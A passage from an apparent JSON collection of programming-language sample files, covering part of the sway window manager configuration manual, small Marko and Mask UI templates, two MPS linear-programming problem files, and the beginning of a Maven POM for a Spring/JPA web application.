(ex _BTN\\_LEFT_ or\n\t_BTN\\_RIGHT_). For the former option, the buttons will be mapped to their\n\tvalues in X11 (1=left, 2=middle, 3=right, 4=scroll up, 5=scroll down,\n\t6=scroll left, 7=scroll right, 8=back, 9=forward). For the latter option,\n\tyou can find the event names using _libinput debug-events_.\n\n\tThe priority for matching bindings is as follows: input device, group,\n\tand locked state.\n\n\t_--whole-window_, _--border_, and _--exclude-titlebar_ are mouse-only options\n\twhich affect the region in which the mouse bindings can be triggered.  By\n\tdefault, mouse bindings are only triggered when over the title bar. With the\n\t_--border_ option, the border of the window will be included in this region.\n\tWith the _--whole-window_ option, the cursor can be anywhere over a window\n\tincluding the title, border, and content. _--exclude-titlebar_ can be used in\n\tconjunction with any other option to specify that the titlebar should be\n\texcluded from the region of consideration.\n\n\tIf _--whole-window_ is given, the command can be triggered when the cursor\n\tis over an empty workspace. Using a mouse binding over a layer surface's\n\texclusive region is not currently possible.\n\n\tExample:\n```\n\t\t# Execute firefox when alt, shift, and f are pressed together\n\t\tbindsym Mod1+Shift+f exec firefox\n```\n\n\t*bindcode* [--whole-window] [--border] [--exclude-titlebar] [--release] \\\n[--locked] [--input-device=<device>] [--no-warn] [Group<1-4>+]<code> <command>\n\tis also available for binding with key/button codes instead of key/button names.\n\n*bindswitch* [--locked] [--no-warn] [--reload] <switch>:<state> <command>\n\tBinds <switch> to execute the sway command _command_ on state changes.\n\tSupported switches are _lid_ (laptop lid) and _tablet_ (tablet mode)\n\tswitches. Valid values for _state_ are _on_, _off_ and _toggle_. These\n\tswitches are on when the device lid is shut and when tablet mode is active\n\trespectively. _toggle_ is also supported to run a command both when the\n\tswitch is toggled on or off.\n\n\tUnless the flag _--locked_ is set, the command will not be run when a\n\tscreen locking program is active. If there is a matching binding with\n\tand without _--locked_, the one with will be preferred when locked and the\n\tone without will be preferred when unlocked.\n\n\tIf the _--reload_ flag is given, the binding will also be executed when\n\tthe config is reloaded. _toggle_ bindings will not be executed on reload.\n\tThe _--locked_ flag will operate as normal so if the config is reloaded\n\twhile locked and _--locked_ is not given, the binding will not be executed.\n\n\tBy default, if you overwrite a binding, swaynag will give you a warning. To\n\tsilence this, use the _--no-warn_ flag.\n\n\tExample:\n```\n\t\t# Show the virtual keyboard when tablet mode is entered.\n\t\tbindswitch tablet:on busctl call --user sm.puri.OSK0 /sm/puri/OSK0 sm.puri.OSK0 SetVisible b true\n\n\t\t# Log a message when the laptop lid is opened or closed.\n\t\tbindswitch lid:toggle exec echo \"Lid moved\"\n```\n\n*client.background* <color>\n\tThis command is ignored and is only present for i3 compatibility.\n\n*client.<class>* <border> <background> <text> [<indicator> [<child_border>]]\n\tConfigures the color of window borders and title bars. The first three\n\tcolors are required. When omitted _indicator_ will use a sane default and\n\t_child_border_ will use the color set for _background_. Colors may be\n\tspecified in hex, either as _#RRGGBB_ or _#RRGGBBAA_.\n\n\tThe available classes are:\n\n\t*client.focused*\n\t\tThe window that has focus.\n\n\t*client.focused_inactive*\n\t\tThe most recently focused view within a container which is not focused.\n\n\t*client.placeholder*\n\t\tIgnored (present for i3 compatibility).\n\n\t*client.unfocused*\n\t\tA view that does not have focus.\n\n\t*client.urgent*\n\t\tA view with an urgency hint. *Note*: Native Wayland windows do not\n\t\tsupport urgency. Urgency only works for Xwayland windows.\n\n\tThe meaning of each color is:\n\n\t_border_\n\t\tThe border around the title bar.\n\n\t_background_\n\t\tThe background of the title bar.\n\n\t_text_\n\t\tThe text color of the title bar.\n\n\t_indicator_\n\t\tThe color used to indicate where a new view will open. In a tiled\n\t\tcontainer, this would paint the right border of the current view if a\n\t\tnew view would be opened to the right.\n\n\t_child_border_\n\t\tThe border around the view itself.\n\nThe default colors are:\n\n[- *class*\n:[ _border_\n:[ _background_\n:[ _text_\n:[ _indicator_\n:[ _child_border_\n|[ *background*\n:  n/a\n:  #ffffff\n:  n/a\n:  n/a\n:  n/a\n|  *focused*\n:  #4c7899\n:  #285577\n:  #ffffff\n:  #2e9ef4\n:  #285577\n|  *focused_inactive*\n:  #333333\n:  #5f676a\n:  #ffffff\n:  #484e50\n:  #5f676a\n|  *unfocused*\n:  #333333\n:  #222222\n:  #888888\n:  #292d2e\n:  #222222\n|  *urgent*\n:  #2f343a\n:  #900000\n:  #ffffff\n:  #900000\n:  #900000\n|  *placeholder*\n:  #000000\n:  #0c0c0c\n:  #ffffff\n:  #000000\n:  #0c0c0c\n\n\n*default_border* normal|none|pixel [<n>]\n\tSet default border style for new tiled windows.\n\n*default_floating_border* normal|none|pixel [<n>]\n\tSet default border style for new floating windows. This only applies to\n\twindows that are spawned in floating mode, not windows that become floating\n\tafterwards.\n\n*exec* <shell command>\n\tExecutes _shell command_ with sh.\n\n*exec_always* <shell command>\n\tLike *exec*, but the shell command will be executed _again_ after *reload*.\n\n*floating_maximum_size* <width> x <height>\n\tSpecifies the maximum size of floating windows. -1 x -1 removes the upper\n\tlimit. The default is 0 x 0, which will use the width and height of the\n\tentire output layout as the maximums\n\n*floating_minimum_size* <width> x <height>\n\tSpecifies the minimum size of floating windows. The default is 75 x 50.\n\n*floating_modifier* <modifier> [normal|inverse]\n\tWhen the _modifier_ key is held down, you may hold left click to move\n\twindows, and right click to resize them. Setting _modifier_ to _none_\n\tdisables this feature. If _inverse_ is specified, left click is used for\n\tresizing and right click for moving.\n\n*focus_follows_mouse* yes|no|always\n\tIf set to _yes_, moving your mouse over a window will focus that window. If\n\tset to _always_, the window under the cursor will always be focused, even\n\tafter switching between workspaces.\n\n*focus_on_window_activation* smart|urgent|focus|none\n\tThis option determines what to do when an xwayland client requests\n\twindow activation. If set to _urgent_, the urgent state will be set\n\tfor that window. If set to _focus_, the window will become focused.\n\tIf set to _smart_, the window will become focused only if it is already\n\tvisible, otherwise the urgent state will be set. Default is _urgent_.\n\n*focus_wrapping* yes|no|force|workspace\n\tThis option determines what to do when attempting to focus over the edge\n\tof a container. If set to _no_, the focused container will retain focus,\n\tif there are no other containers in the direction. If set to _yes_, focus\n\twill be wrapped to the opposite edge of the container, if there are no\n\tother containers in the direction. If set to _force_, focus will be wrapped\n\tto the opposite edge of the container, even if there are other containers\n\tin the direction. If set to _workspace_, focus will wrap like in the _yes_\n\tcase and additionally wrap when moving outside of workspaces boundaries.\n\tDefault is _yes_.\n\n*font* [pango:]<font>\n\tSets font to use for the title bars. To enable support for pango markup,\n\tpreface the font name with _pango:_. For example, _monospace 10_ is the\n\tdefault font. To enable support for pango markup, _pango:monospace 10_\n\tshould be used instead. Regardless of whether pango markup is enabled,\n\t_font_ should be specified as a pango font description. For more\n\tinformation on pango font descriptions, see\n\thttps://developer.gnome.org/pango/stable/pango-Fonts.html#pango-font-description-from-string\n\n*force_display_urgency_hint* <timeout> [ms]\n\tIf an application on another workspace sets an urgency hint, switching to this\n\tworkspace may lead to immediate focus of the application, which also means the\n\twindow decoration color would be immediately resetted to *client.focused*. This\n\tmay make it unnecessarily hard to tell which window originally raised the\n\tevent. This option allows to set a _timeout_ in ms to delay the urgency hint reset.\n\n*titlebar_border_thickness* <thickness>\n\tThickness of the titlebar border in pixels\n\n*titlebar_padding* <horizontal> [<vertical>]\n\tPadding of the text in the titlebar. _horizontal_ value affects horizontal\n\tpadding of the text while _vertical_ value affects vertical padding (space\n\tabove and below text). Padding includes titlebar borders so their value\n\tshould be greater than titlebar_border_thickness. If _vertical_ value is\n\tnot specified it is set to the _horizontal_ value.\n\n*for_window* <criteria> <command>\n\tWhenever a window that matches _criteria_ appears, run list of commands.\n\tSee *CRITERIA* for more details.\n\n*gaps* inner|outer|horizontal|vertical|top|right|bottom|left <amount>\n\tSets default _amount_ pixels of _inner_ or _outer_ gap, where the inner\n\taffects spacing around each view and outer affects the spacing around each\n\tworkspace. Outer gaps are in addition to inner gaps. To reduce or remove\n\touter gaps, outer gaps can be set to a negative value. _outer_ gaps can\n\talso be specified per side with _top_, _right_, _bottom_, and _left_ or\n\tper direction with _horizontal_ and _vertical_.\n\n\tThis affects new workspaces only, and is used when the workspace doesn't\n\thave its own gaps settings (see: workspace <ws> gaps ...).\n\n*hide_edge_borders* [--i3] none|vertical|horizontal|both|smart|smart_no_gaps\n\tHides window borders adjacent to the screen edges. Default is _none_. The\n\t_--i3_ option enables i3-compatible behavior to hide the title bar on\n\ttabbed and stacked containers with one child. The _smart_|_smart_no_gaps_\n\toptions are equivalent to setting _smart_borders_ smart|no_gaps and\n\t_hide_edge_borders_ none.\n\n*input* <input_device> <input-subcommands...>\n\tFor details on input subcommands, see *sway-input*(5).\n\n\t\\* may be used in lieu of a specific device name to configure all input\n\tdevices. A list of input device names may be obtained via *swaymsg -t\n\tget_inputs*.\n\n*seat* <seat> <seat-subcommands...>\n\tFor details on seat subcommands, see *sway-input*(5).\n\n*kill*\n\tKills (closes) the currently focused container and all of its children.\n\n*smart_borders* on|no_gaps|off\n\tIf smart_borders are _on_, borders will only be enabled if the workspace\n\thas more than one visible child. If smart_borders is set to _no_gaps_,\n\tborders will only be enabled if the workspace has more than one visible\n\tchild and gaps equal to zero.\n\n*smart_gaps* on|off\n\tIf smart_gaps are _on_ gaps will only be enabled if a workspace has more\n\tthan one child.\n\n*mark* --add|--replace [--toggle] <identifier>\n\tMarks are arbitrary labels that can be used to identify certain windows and\n\tthen jump to them at a later time. Each _identifier_ can only be set on a\n\tsingle window at a time since they act as a unique identifier. By default,\n\t*mark* sets _identifier_ as the only mark on a window. _--add_ will instead\n\tadd _identifier_ to the list of current marks for that window. If _--toggle_\n\tis specified mark will remove _identifier_ if it is already marked.\n\n*mode* <mode>\n\tSwitches to the specified mode. The default mode is _default_.\n\n*mode* [--pango_markup] <mode> <mode-subcommands...>\n\tThe only valid _mode-subcommands..._ are *bindsym*, *bindcode*,\n\t*bindswitch*, and *set*. If _--pango_markup_ is given, then _mode_ will be\n\tinterpreted as pango markup.\n\n*mouse_warping* output|container|none\n\tIf _output_ is specified, the mouse will be moved to new outputs as you\n\tmove focus between them. If _container_ is specified, the mouse will be\n\tmoved to the middle of the container on switch. Default is _output_.\n\n*no_focus* <criteria>\n\tPrevents windows matching <criteria> from being focused automatically when\n\tthey're created. This has no effect on the first window in a workspace.\n\n*output* <output_name> <output-subcommands...>\n\tFor details on output subcommands, see *sway-output*(5).\n\n\t\\* may be used in lieu of a specific output name to configure all outputs.\n\tA list of output names may be obtained via *swaymsg -t get_outputs*.\n\n*popup_during_fullscreen* smart|ignore|leave_fullscreen\n\tDetermines what to do when a fullscreen view opens a dialog.\n\tIf _smart_ (the default), the dialog will be displayed. If _ignore_, the\n\tdialog will not be rendered. If _leave_fullscreen_, the view will exit\n\tfullscreen mode and the dialog will be rendered.\n\n*set* $<name> <value>\n\tSets variable $_name_ to _value_. You can use the new variable in the\n\targuments of future commands. When the variable is used, it can be escaped\n\twith an additional $ (ie $$_name_) to have the replacement happen at run\n\ttime instead of when reading the config. However, it does not always make\n\tsense for the variable to be replaced at run time since some arguments do\n\tneed to be known at config time.\n\n*show_marks* yes|no\n\tIf *show_marks* is yes, marks will be displayed in the window borders.\n\tAny mark that starts with an underscore will not be drawn even if\n\t*show_marks* is yes. The default is _yes_.\n\n*opacity* [set|plus|minus] <value>\n\tAdjusts the opacity of the window between 0 (completely transparent) and\n\t1 (completely opaque). If the operation is omitted, _set_ will be used.\n\n*tiling_drag*  enable|disable|toggle\n\tSets whether or not tiling containers can be dragged with the mouse. If\n\t_enabled_ (default), the _floating_mod_ can be used to drag tiling, as well\n\tas floating, containers. Using the left mouse button on title bars without\n\tthe _floating_mod_ will also allow the container to be dragged. _toggle_\n\tshould not be used in the config file.\n\n*tiling_drag_threshold* <threshold>\n\tSets the threshold that must be exceeded for a container to be dragged by\n\tits titlebar. This has no effect if _floating_mod_ is used or if\n\t_tiling_drag_ is set to _disable_.  Once the threshold has been exceeded\n\tonce, the drag starts and the cursor can come back inside the threshold\n\twithout stopping the drag.  _threshold_ is multiplied by the scale of the\n\toutput that the cursor on.  The default is 9.\n\n*title_align* left|center|right\n\tSets the title alignment. If _right_ is selected and _show_marks_ is set\n\tto _yes_, the marks will be shown on the _left_ side instead of the\n\t_right_ side.\n\n*unbindswitch* <switch>:<state>\n\tRemoves a binding for when <switch> changes to <state>.\n\n*unbindsym* [--whole-window] [--border] [--exclude-titlebar] [--release] [--locked] \\\n[--to-code] [--input-device=<device>] <key combo>\n\tRemoves the binding for _key combo_ that was previously bound with the\n\tgiven flags.  If _input-device_ is given, only the binding for that\n\tinput device will be unbound.\n\n\t*unbindcode* [--whole-window] [--border] [--exclude-titlebar] [--release] \\\n[--locked] [--input-device=<device>] <code>\n\tis also available for unbinding with key/button codes instead of key/button names.\n\n*unmark* [<identifier>]\n\t*unmark* will remove _identifier_ from the list of current marks on a\n\twindow. If _identifier_ is omitted, all marks are removed.\n\n*urgent* enable|disable|allow|deny\n\tUsing _enable_ or _disable_ manually sets or unsets the window's urgent\n\tstate. Using _allow_ or _deny_ controls the window's ability to set itself\n\tas urgent. By default, windows are allowed to set their own urgency.\n\n*workspace* [--no-auto-back-and-forth] [number] <[num:]name>\n\tSwitches to the specified workspace. The _num:_ portion of the name is\n\toptional and will be used for ordering. If _num:_ is not given and\n\t_name_ is a number, then it will be also be used for ordering.\n\n\tIf the _no-auto-back-and-forth_ option is given, then this command will\n\tnot perform a back-and-forth operation when the workspace is already\n\tfocused and _workspace_auto_back_and_forth_ is enabled.\n\n\tIf the _number_ keyword is specified and a workspace with the number\n\talready exists, then the workspace with the number will be used. If a\n\tworkspace with the number does not exist, a new workspace will be created\n\twith the name _name_.\n\n*workspace* prev|next\n\tSwitches to the next workspace on the current output or on the next output\n\tif currently on the last workspace.\n\n*workspace* prev_on_output|next_on_output\n\tSwitches to the next workspace on the current output.\n\n*workspace* back_and_forth\n\tSwitches to the previously focused workspace.\n\n*workspace* <name> gaps inner|outer|horizontal|vertical|top|right|bottom|left\n<amount>\n\tSpecifies that workspace _name_ should have the given gaps settings when it\n\tis created.\n\n\tThis command does not affect existing workspaces. To alter the gaps of an\n\texisting workspace, use the _gaps_ command.\n\n*workspace* <name> output <outputs...>\n\tSpecifies that workspace _name_ should be shown on the specified _outputs_.\n\tMultiple outputs can be listed and the first available will be used. If the\n\tworkspace gets placed on an output further down the list and an output that\n\tis higher on the list becomes available, the workspace will be moved to the\n\thigher priority output.\n\n\tThis command does not affect existing workspaces. To move an existing\n\tworkspace, use the _move_ command in combination with the _workspace_\n\tcriteria (non-empty workspaces only) or _workspace_ command (to switch\n\tto the workspace before moving).\n\n*workspace_auto_back_and_forth* yes|no\n\tWhen _yes_, repeating a workspace switch command will switch back to the\n\tprior workspace. For example, if you are currently on workspace 1,\n\tswitch to workspace 2, then invoke the *workspace 2* command again, you\n\twill be returned to workspace 1. Default is _no_.\n\n# CRITERIA\n\nA criteria is a string in the form of, for example:\n\n```\n[class=\"[Rr]egex.*\" title=\"some title\"]\n```\n\nThe string contains one or more (space separated) attribute/value pairs. They\nare used by some commands to choose which views to execute actions on. All\nattributes must match for the criteria to match. Criteria is retained across\ncommands separated by a *,*, but will be reset (and allow for new criteria, if\ndesired) for commands separated by a *;*.\n\nCriteria may be used with either the *for_window* or *assign* commands to\nspecify operations to perform on new views. A criteria may also be used to\nperform specific commands (ones that normally act upon one window) on all views\nthat match that criteria. For example:\n\nFocus on a window with the mark \"IRC\":\n\n```\n[con_mark=\"IRC\"] focus\n```\n\nKill all windows with the title \"Emacs\":\n\n```\n[class=\"Emacs\"] kill\n```\n\nYou may like to use swaymsg -t get_tree for finding the values of these\nproperties in practice for your applications.\n\nThe following attributes may be matched with:\n\n*app_id*\n\tCompare value against the app id. Can be a regular expression. If value is\n\t\\_\\_focused\\_\\_, then the app id must be the same as that of the currently\n\tfocused window. _app_id_ are specific to Wayland applications.\n\n*class*\n\tCompare value against the window class. Can be a regular expression. If\n\tvalue is \\_\\_focused\\_\\_, then the window class must be the same as that of\n\tthe currently focused window. _class_ are specific to X11 applications.\n\n*con_id*\n\tCompare against the internal container ID, which you can find via IPC. If\n\tvalue is \\_\\_focused\\_\\_, then the id must be the same as that of the\n\tcurrently focused window.\n\n*con_mark*\n\tCompare against the window marks. Can be a regular expression.\n\n*floating*\n\tMatches floating windows.\n\n*id*\n\tCompare value against the X11 window ID. Must be numeric.\n\n*instance*\n\tCompare value against the window instance. Can be a regular expression. If\n\tvalue is \\_\\_focused\\_\\_, then the window instance must be the same as that\n\tof the currently focused window.\n\n*pid*\n\tCompare value against the window's process ID. Must be numeric.\n\n*shell*\n\tCompare value against the window shell, such as \"xdg_shell\" or \"xwayland\".\n\tCan be a regular expression. If value is \\_\\_focused\\_\\_, then the shell\n\tmust be the same as that of the currently focused window.\n\n*tiling*\n\tMatches tiling windows.\n\n*title*\n\tCompare against the window title. Can be a regular expression. If value is\n\t\\_\\_focused\\_\\_, then the window title must be the same as that of the\n\tcurrently focused window.\n\n*urgent*\n\tCompares the urgent state of the window. Can be _first_, _last_, _latest_,\n\t_newest_, _oldest_ or _recent_.\n\n*window_role*\n\tCompare against the window role (WM_WINDOW_ROLE). Can be a regular\n\texpression. If value is \\_\\_focused\\_\\_, then the window role must be the\n\tsame as that of the currently focused window.\n\n*window_type*\n\tCompare against the window type (\\_NET_WM_WINDOW_TYPE). Possible values\n\tare normal, dialog, utility, toolbar, splash, menu, dropdown_menu,\n\tpopup_menu, tooltip and notification.\n\n*workspace*\n\tCompare against the workspace name for this view. Can be a regular\n\texpression. If the value is \\_\\_focused\\_\\_, then all the views on the\n\tcurrently focused workspace matches.\n\n# SEE ALSO\n\n*sway*(1) *sway-input*(5) *sway-output*(5) *sway-bar*(5) *sway-ipc*(7)\n"
  },
  {
    "path": "samples/Markdown/tender.md",
    "content": "Tender\n======\n"
  },
  {
    "path": "samples/Marko/counter.marko",
    "content": "class {\n    constructor() {\n        this.state = { count:0 };\n    }\n    increment() {\n        this.state.count++;\n    }\n}\n\nstyle {\n    .count {\n        color:#09c;\n        font-size:3em;\n    }\n    .example-button {\n        font-size:1em;\n        padding:0.5em;\n    }\n}\n\n<div.count>\n    ${state.count}\n</div>\n<button.example-button on-click('increment')>\n    Click me!\n</button>"
  },
  {
    "path": "samples/Marko/hello.marko",
    "content": "$ var name = 'Frank';\n$ var colors = ['red', 'green', 'blue'];\n\n<h1>\n    Hello ${name}!\n</h1>\n\n<ul if(colors.length)>\n    <li style={color: color} for(color in colors)>\n        ${color}\n    </li>\n</ul>\n<div else>\n    No colors!\n</div>\n"
  },
  {
    "path": "samples/Marko/rgb-sliders.marko",
    "content": "static const colors = ['red', 'green', 'blue'];\nstatic const defaultColor = [255, 0, 0];\n\nclass {\n\tonInput(input) {\n\t\tthis.state = { color: input.color || defaultColor };\n\t}\n\n\tupdateColor() {\n    \tthis.state.color = colors.map((color) => {\n        \treturn parseInt(this.getEl(color + 'Input').value, 10);\n        });\n    }\n\n    getStyleColor() {\n    \treturn 'rgb(' + this.state.color.join(',') + ')';\n    }\n}\n\n<div.rgb-sliders>\n    <div.inputs>\n    \t<for(i, color in colors)>\n        \t<div>\n                <label for-key=color+\"Input\">\n                    ${color}:\n                </label>\n                <input type=\"range\" max=\"255\"\n                    key=color+\"Input\"\n                    on-input('updateColor')\n                    value=state.color[i] >\n            </div>\n        </for>\n    </div>\n    <div.color style={backgroundColor: component.getStyleColor()}>\n    </div>\n</div>\n"
  },
  {
    "path": "samples/Mask/view.mask",
    "content": "\n// HTML Elements\nheader {\n    \n    img .logo src='/images/~[currentLogo].png' alt=logo;\n    \n    h4 > 'Bar View'\n    \n    if (currentUser) {\n        \n        .account >\n            a href='/acount' >\n                'Hello, ~[currentUser.username]'\n    }\n}\n\n.view {\n    ul {\n       \n        // Iteration\n        for ((user, index) of users) {\n            \n            li.user data-id='~[user.id]' {\n                \n                // interpolation\n                .name > '~[ user.username ]'\n                \n                // expression\n                .count > '~[: user.level.toFixed(2) ]'\n                \n                // util\n                /* Localization sample\n                 * lastActivity: \"Am {0:dd. MM} war der letzte Eintrag\"\n                 */\n                .date > '~[ L: \"lastActivity\",  user.date]'\n            }\n        }\n    }\n    \n    // Component\n    :countdownComponent {\n        input type = text >\n            :dualbind value='number';\n            \n        button x-signal='click: countdownStart' > 'Start';\n        \n        h5 {\n            '~[bind: number]'\n            \n            :animation x-slot='countdownStart' {\n                @model > 'transition | scale(0) > scale(1) | 500ms'\n                @next  > 'background-color | red > blue | 2s linear'\n            }\n        }\n    }\n}\n\nfooter > :bazCompo {\n    \n    'Component generated at ~[: $u.format($c.date, \"HH-mm\") ]'\n}"
  },
  {
    "path": "samples/Mathematical Programming System/advanced-problem.mps",
    "content": "*This is a less trivial MPS problem to test the MPS reader\nname          simple\nrows\n N  obj\n L  row1\n L  row2\n G  row3\ncolumns\n    w         obj       -1              row3      1\n    X         obj       1               row1      3\n    X         row3      2\n    Y         obj       4.5             row1      1\n    Y         row2      1\n    Z         obj       8               row2      2\n    Z         row3      -1\nRHS\n    testrhs   row1      10              row2      18\n    testrhs   row3      6\n    rhs1      row1      8               row2      10\n    rhs1      row3      -1\nbounds\n BV wbin      w\n LO z         Z         0\n UP z         Z         4\n FR freex     X\nobjsense\n    min\nENDATA"
  },
  {
    "path": "samples/Mathematical Programming System/afiro.mps",
    "content": "NAME          AFIRO\nROWS\n E  R09\n E  R10\n L  X05\n L  X21\n E  R12\n E  R13\n L  X17\n L  X18\n L  X19\n L  X20\n E  R19\n E  R20\n L  X27\n L  X44\n E  R22\n E  R23\n L  X40\n L  X41\n L  X42\n L  X43\n L  X45\n L  X46\n L  X47\n L  X48\n L  X49\n L  X50\n L  X51\n N  COST\nCOLUMNS\n    X01       X48               .301   R09                -1.\n    X01       R10              -1.06   X05                 1.\n    X02       X21                -1.   R09                 1.\n    X02       COST               -.4\n    X03       X46                -1.   R09                 1.\n    X04       X50                 1.   R10                 1.\n    X06       X49               .301   R12                -1.\n    X06       R13              -1.06   X17                 1.\n    X07       X49               .313   R12                -1.\n    X07       R13              -1.06   X18                 1.\n    X08       X49               .313   R12                -1.\n    X08       R13               -.96   X19                 1.\n    X09       X49               .326   R12                -1.\n    X09       R13               -.86   X20                 1.\n    X10       X45              2.364   X17                -1.\n    X11       X45              2.386   X18                -1.\n    X12       X45              2.408   X19                -1.\n    X13       X45              2.429   X20                -1.\n    X14       X21                1.4   R12                 1.\n    X14       COST              -.32\n    X15       X47                -1.   R12                 1.\n    X16       X51                 1.   R13                 1.\n    X22       X46               .109   R19                -1.\n    X22       R20               -.43   X27                 1.\n    X23       X44                -1.   R19                 1.\n    X23       COST               -.6\n    X24       X48                -1.   R19                 1.\n    X25       X45                -1.   R19                 1.\n    X26       X50                 1.   R20                 1.\n    X28       X47               .109   R22               -.43\n    X28       R23                 1.   X40                 1.\n    X29       X47               .108   R22               -.43\n    X29       R23                 1.   X41                 1.\n    X30       X47               .108   R22               -.39\n    X30       R23                 1.   X42                 1.\n    X31       X47               .107   R22               -.37\n    X31       R23                 1.   X43                 1.\n    X32       X45              2.191   X40                -1.\n    X33       X45              2.219   X41                -1.\n    X34       X45              2.249   X42                -1.\n    X35       X45              2.279   X43                -1.\n    X36       X44                1.4   R23                -1.\n    X36       COST              -.48\n    X37       X49                -1.   R23                 1.\n    X38       X51                 1.   R22                 1.\n    X39       R23                 1.   COST               10.\nRHS\n    B         X50               310.   X51               300.\n    B         X05                80.   X17                80.\n    B         X27               500.   R23                44.\n    B         X40               500.\nENDATA"
  },
  {
    "path": "samples/Maven POM/filenames/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>renpengben</groupId>\n\t<artifactId>spring4mvc-jpa</artifactId>\n\t<packaging>war</packaging>\n\t<version>0.0.1-SNAPSHOT</version>\n\t<name>spring4mvc-jpa Maven Webapp</name>\n\n\t<url>https://renpengben.github.io</url>\n\n\t<description>spring4mvc-jpa</description>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.7</java.version>\n\t\t<junit.version>4.11</junit.version>\n\t\t<slf4j.version>1.7.7</slf4j.version>\n\t\t<log4j.version>1.2.17</log4j.version>\n\n\t\t<spring.version>4.0.5.RELEASE</spring.version>\n\t\t<spring.data.jpa.version>1.6.0.RELEASE</spring.data.jpa.version>\n\t\t<cglib.version>2.1_3</cglib.version>\n\n\t\t<mysql.version>5.1.31</mysql.version>\n\t\t<hibernate.version>4.3.5.Final</hibernate.version>\n\t\t<hibernate-validator.version>5.1.1.Final</hibernate-validator.version>\n\t\t<druid-version>1.0.6</druid-version>\n\n\t</properties>\n\n\n\t<dependencies>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>${log4j.version}</version>\n\t\t</dependency>\n\n\n\t\t<!-- Spring -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>commons-logging</groupId>\n\t\t\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aop</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-expression</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-tx</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aspects</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-jdbc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.data</groupId>\n\t\t\t<artifactId>spring-data-jpa</artifactId>\n\t\t\t<version>${spring.data.jpa.version}</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<artifactId>junit-dep</artifactId>\n\t\t\t\t\t<groupId>junit</groupId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>cglib</groupId>\n\t\t\t<artifactId>cglib-nodep</artifactId>\n\t\t\t<version>${cglib.version}</version>\n\t\t</dependency>\n\n\n\n\t\t<!-- JPA 